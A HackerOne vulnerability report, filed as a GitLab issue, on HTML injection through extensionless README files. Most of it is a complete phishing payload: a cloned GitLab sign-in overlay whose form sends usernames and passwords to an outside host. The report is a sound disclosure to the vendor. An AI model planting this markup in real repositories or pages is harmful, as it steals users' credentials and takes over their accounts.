HTML content injection in README file
**[HackerOne report #1777934](https://hackerone.com/reports/1777934)** by `yvvdwf` on 2022-11-18, assigned to @nmalcolm: [Report](#report) | [How To Reproduce](#how-to-reproduce) ## Report Hi, ##### Summary Gitlab recently changed the way to render plain text file ```ruby ### https://gitlab.com/gitlab-org/gitlab/-/blob/053729ecfd3d2b3d2e0ce3618b35cb3c46472897/app/services/markup/rendering_service.rb#L66 def plain_unsafe "<pre class=\"plain-readme\">#{text}</pre>" end ``` This allows to inject any HTML content. Although the content is then sanitized by Dumpurify via `v-safe-html` directly. The sanitization allows `<form>` tag, thus this can be used to popup a login form. If users enter their credential, then their account will be taken over. I submit this report when considering the ease of exploitation and its impact (although the HTML content injection does not lead to any kind of XSS). Because the content of `README` file is loaded by default in the main view of a project, attackers may easily trick users to fill their credential in the dummy login form, for example. ##### Steps to reproduce - in an existing project or create a new one - add a file naming `README` (please note that no extension here, `README.md` does not work) with the following content: ```html </pre> <div class="flash-container flash-container-page sticky" data-qa-selector="flash_container"> <div class="gl-alert flash-notice gl-alert-info" data-testid="alert-info" role="alert"> <svg class="s16 gl-alert-icon gl-alert-icon-no-title" data-testid="information-o-icon"><use href="https://gitlab.com/assets/icons-02e23cfb3d83e7293d7b4d2b457f8cd4cb75d3c78cfbedc946bf90bf97c2ed73.svg#information-o"></use></svg> <button aria-label="Dismiss" class="btn gl-dismiss-btn btn-default btn-sm gl-button btn-default-tertiary btn-icon js-close" type="button"> <svg class="s16" data-testid="close-icon"><use href="https://gitlab.com/assets/icons-02e23cfb3d83e7293d7b4d2b457f8cd4cb75d3c78cfbedc946bf90bf97c2ed73.svg#close"></use></svg> </button> <div class="gl-alert-content" role="alert"> <div class="gl-alert-body"> Loading content ... </div> </div> </div> </div> <style>[@]keyframes fadeIn {99% {visibility: hidden;} 100% { visibility: visible;}</style> <div style="position:fixed!important;top:0px;left:0px;right:0px;bottom:0px;background-color:white;z-index:9999; animation: 3s fadeIn; animation-fill-mode: forwards;visibility: hidden;"> <div style="position:fixed!important;top:0px;left:0px;right:0px;bottom:0px;background-color:var(--gray-50)"> <div class="page-wrap borderless"> <div class="login-page-broadcast"> </div> <div class="container navless-container"> <div class="content"> <div class="flash-container flash-container-page sticky" data-qa-selector="flash_container"> <div class="gl-alert flash-alert gl-alert-danger" data-testid="alert-danger" role="alert"> <svg class="s16 gl-alert-icon gl-alert-icon-no-title" data-testid="error-icon"> <use href="https://gitlab.com/assets/icons-02e23cfb3d83e7293d7b4d2b457f8cd4cb75d3c78cfbedc946bf90bf97c2ed73.svg#error"></use> </svg> <button aria-label="Dismiss" class="btn gl-dismiss-btn btn-default btn-sm gl-button btn-default-tertiary btn-icon js-close" type="button"> <svg class="s16" data-testid="close-icon"> <use href="https://gitlab.com/assets/icons-02e23cfb3d83e7293d7b4d2b457f8cd4cb75d3c78cfbedc946bf90bf97c2ed73.svg#close"></use> </svg> </button> <div class="gl-alert-content" role="alert"> <div class="gl-alert-body"> You need to sign in or sign up before continuing. </div> </div> </div> </div> <div class="mt-3"> <div class="col-sm-12 gl-text-center"> <img alt="GitLab.com" class="gl-w-10 js-lazy-loaded" src="https://gitlab.com/assets/logo-911de323fa0def29aaf817fca33916653fc92f3ff31647ac41d2c39bbe243edb.svg" loading="lazy" data-qa_selector="js_lazy_loaded_content"> <h1 class="mb-3 gl-font-size-h2"> GitLab.com </h1> </div> </div> <div class="mb-3"> <div class="gl-w-half gl-xs-w-full gl-ml-auto gl-mr-auto bar"> <div id="signin-container"> <div class="tab-content"> <div class="login-box tab-pane active" id="login-pane" role="tabpanel"> <div class="login-body"> <form class="new_user gl-show-field-errors js-arkose-labs-form" id="new_user" aria-live="assertive" data-testid="sign-in-form" action="https://yvvdwf.me/gl" accept-charset="UTF-8" method="post"> <input type="hidden" name="authenticity_token" value="" autocomplete="off"> <div class="form-group gl-px-5 gl-pt-5"> <label for="user_login" class="label-bold gl-mb-1">Username or email</label> <input class="form-control gl-form-input top js-username-field" autofocus="autofocus" autocapitalize="off" autocorrect="off" required="required" title="This field is required." data-qa-selector="login_field" data-testid="username-field" type="text" name="user[login]" id="user_login"> <p class="gl-field-error hidden">This field is required.</p> </div> <div class="form-group gl-px-5"> <label class="label-bold gl-mb-1" for="user_password">Password</label> <input class="form-control gl-form-input bottom" autocomplete="current-password" required="required" title="This field is required." data-qa-selector="password_field" data-testid="password-field" type="password" name="user[password]" id="user_password"> <p class="gl-field-error hidden">This field is required.</p> </div> <div class="gl-px-5"> <div class="gl-display-inline-block"> <div class="gl-form-checkbox custom-control custom-checkbox"> <input name="user[remember_me]" type="hidden" value="0" autocomplete="off"><input class="custom-control-input" type="checkbox" value="1" name="user[remember_me]" id="user_remember_me"> <label class="custom-control-label" for="user_remember_me"><span>Remember me</span></label> </div> </div> <div class="gl-float-right"> <a href="/users/password/new">Forgot your password?</a> </div> </div> <div></div> <div> <!----> <!----> <!----> <div data-testid="arkose-labs-challenge" class="gl-display-flex gl-justify-content-center gl-mt-3 gl-mb-n3 js-arkose-labs-container-1" style="display: none;"></div> <!----> </div> <div class="submit-container move-submit-down gl-px-5"> <button name="button" type="submit" class="gl-button btn btn-block btn-confirm js-sign-in-button js-no-auto-disable" data-qa-selector="sign_in_button" data-testid="sign-in-button">Sign in</button> </div> </form> </div> </div> </div> <p class="gl-px-5"> By signing in you accept the <a href="/-/users/terms" target="_blank" rel="noreferrer noopener">Terms of Use and acknowledge the Privacy Policy and Cookie Policy</a>. </p> <p class="gl-mt-3 gl-text-center"> Don't have an account yet? <a data-qa-selector="register_link" href="/users/sign_up">Register now</a> </p> <div class="clearfix"> <div class="omniauth-container gl-mt-5 gl-p-5 gl-text-center gl-w-90p gl-ml-auto gl-mr-auto"> <label class="gl-font-weight-normal"> Sign in with </label> <div class="gl-display-flex gl-flex-wrap gl-justify-content-center"> <form class="gl-mb-3" method="post" action="/users/auth/google_oauth2"><button id="oauth-login-google_oauth2" class="btn gl-button btn-default gl-ml-2 gl-mr-2 gl-mb-2 js-oauth-login " type="submit"><img alt="Google" title="Sign in with Google" class="gl-button-icon js-lazy-loaded" src="https://gitlab.com/assets/auth_buttons/google_64-9ab7462cd2115e11f80171018d8c39bd493fc375e83202fbb6d37a487ad01908.png" loading="lazy" data-qa_selector="js_lazy_loaded_content"> <span class="gl-button-text"> Google </span> </button><input type="hidden" name="authenticity_token" value="" autocomplete="off"> </form> <form class="gl-mb-3" method="post" action="/users/auth/github"><button id="oauth-login-github" class="btn gl-button btn-default gl-ml-2 gl-mr-2 gl-mb-2 js-oauth-login " type="submit"><img alt="GitHub" title="Sign in with GitHub" class="gl-button-icon js-lazy-loaded" src="https://gitlab.com/assets/auth_buttons/github_64-84041cd0ea392220da96f0fb9b9473c08485c4924b98c776be1bd33b0daab8c0.png" loading="lazy" data-qa_selector="js_lazy_loaded_content"> <span class="gl-button-text"> GitHub </span> </button><input type="hidden" name="authenticity_token" value="" autocomplete="off"> </form> <form class="gl-mb-3" method="post" action="/users/auth/twitter"><button id="oauth-login-twitter" class="btn gl-button btn-default gl-ml-2 gl-mr-2 gl-mb-2 js-oauth-login " type="submit"><img alt="Twitter" title="Sign in with Twitter" class="gl-button-icon js-lazy-loaded" src="https://gitlab.com/assets/auth_buttons/twitter_64-22f28114e53ba8324a944fc07b5a5739a78d2a4083d07c0ea2fec2bc1ebfc49d.png" loading="lazy" data-qa_selector="js_lazy_loaded_content"> <span class="gl-button-text"> Twitter </span> </button><input type="hidden" name="authenticity_token" value="" autocomplete="off"> </form> <form class="gl-mb-3" method="post" action="/users/auth/bitbucket"><button id="oauth-login-bitbucket" class="btn gl-button btn-default gl-ml-2 gl-mr-2 gl-mb-2 js-oauth-login " type="submit"><img alt="Bitbucket" title="Sign in with Bitbucket" class="gl-button-icon js-lazy-loaded" src="https://gitlab.com/assets/auth_buttons/bitbucket_64-daa496030c0c290748e3c2e50f7464d2f5de0e019cce728930e0508a6dac815c.png" loading="lazy" data-qa_selector="js_lazy_loaded_content"> <span class="gl-button-text"> Bitbucket </span> </button><input type="hidden" name="authenticity_token" value="" autocomplete="off"> </form> <form class="gl-mb-3" method="post" action="/users/auth/salesforce"><button id="oauth-login-salesforce" class="btn gl-button btn-default gl-ml-2 gl-mr-2 gl-mb-2 js-oauth-login " type="submit"><img alt="Salesforce" title="Sign in with Salesforce" class="gl-button-icon js-lazy-loaded" src="https://gitlab.com/assets/auth_buttons/salesforce_64-0fb2c008b7c8d627aadda7ec593509e0bd402752df28d8a17b04ac1a30c26ef9.png" loading="lazy" data-qa_selector="js_lazy_loaded_content"> <span class="gl-button-text"> Salesforce </span> </button><input type="hidden" name="authenticity_token" value="" autocomplete="off"> </form> </div> <div class="gl-form-checkbox custom-control custom-checkbox"> <input type="checkbox" name="remember_me" id="remember_me" class="custom-control-input"> <label class="custom-control-label" for="remember_me"><span>Remember me </span></label> </div> </div> </div> </div> </div> </div> </div> </div> <hr class="footer-fixed"> <div class="container footer-container"> <div class="footer-links"> <a href="/explore">Explore</a> <a href="/help">Help</a> <a href="https://about.gitlab.com">About GitLab</a> <a target="_blank" class="text-nowrap" rel="noopener noreferrer" href="https://forum.gitlab.com">Community forum</a> </div> </div> </div> ``` - save the file, then back to the main page of the project - you should see a login popup that appears after 3 seconds which is adjustable. - if the form is submited, its target is outside `gitlab.com`, e.g., `https://yvvdwf.me/gl`, then the username/password will be leaked ##### Impact A risk to leak username and password of victims ##### Examples https://gitlab.com/yvvdwf/dummy-login ##### What is the current *bug* behavior? HTML tag in a plain text is not escaped ##### What is the expected *correct* behavior? HTML tag in a plain text should be escaped ##### Output of checks This bug happens on GitLab.com #### Impact A risk to leak username and password of victim ## How To Reproduce Please add [reproducibility information] to this section: 1. 1. 1. ## Video ![html-injection](/uploads/20c0fa44cb2e1f71b22098a3a5e7a5a1/html-injection.mov) [reproducibility information]: https://about.gitlab.com/handbook/engineering/security/#reproducibility-on-security-issues
issue